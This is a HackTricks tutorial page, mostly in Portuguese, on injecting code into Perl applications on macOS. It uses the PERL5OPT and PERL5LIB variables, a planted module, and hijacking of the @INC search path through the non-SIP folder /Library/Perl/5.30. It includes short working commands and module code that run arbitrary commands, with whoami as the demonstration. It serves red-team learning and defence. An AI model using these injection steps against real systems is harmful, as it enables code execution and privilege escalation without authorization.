4.4 KiB
macOS Perl Applications Injection
{% hint style="success" %}
Learn & practice AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: 
HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Via PERL5OPT & PERL5LIB variável de ambiente
Usando a variável de ambiente PERL5OPT, é possível fazer o perl executar comandos arbitrários.
Por exemplo, crie este script:
{% code title="test.pl" %}
#!/usr/bin/perl
print "Hello from the Perl script!\n";
{% endcode %}
Agora exporte a variável de ambiente e execute o script perl:
export PERL5OPT='-Mwarnings;system("whoami")'
perl test.pl # This will execute "whoami"
Outra opção é criar um módulo Perl (por exemplo, /tmp/pmod.pm):
{% code title="/tmp/pmod.pm" %}
#!/usr/bin/perl
package pmod;
system('whoami');
1; # Modules must return a true value
{% endcode %}
E então use as variáveis de ambiente:
PERL5LIB=/tmp/ PERL5OPT=-Mpmod
Via dependencies
É possível listar a ordem da pasta de dependências do Perl em execução:
perl -e 'print join("\n", @INC)'
Que retornará algo como:
/Library/Perl/5.30/darwin-thread-multi-2level
/Library/Perl/5.30
/Network/Library/Perl/5.30/darwin-thread-multi-2level
/Network/Library/Perl/5.30
/Library/Perl/Updates/5.30.3
/System/Library/Perl/5.30/darwin-thread-multi-2level
/System/Library/Perl/5.30
/System/Library/Perl/Extras/5.30/darwin-thread-multi-2level
/System/Library/Perl/Extras/5.30
Algumas das pastas retornadas nem existem, no entanto, /Library/Perl/5.30 existe, não é protegida pelo SIP e está antes das pastas protegidas pelo SIP. Portanto, alguém poderia abusar dessa pasta para adicionar dependências de script lá, de modo que um script Perl de alta privilégio o carregue.
{% hint style="warning" %} No entanto, note que você precisa ser root para escrever nessa pasta e hoje em dia você receberá este prompt do TCC: {% endhint %}
Por exemplo, se um script estiver importando use File::Basename;, seria possível criar /Library/Perl/5.30/File/Basename.pm para fazer com que ele execute código arbitrário.
Referências
{% hint style="success" %}
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para os repositórios do HackTricks e HackTricks Cloud.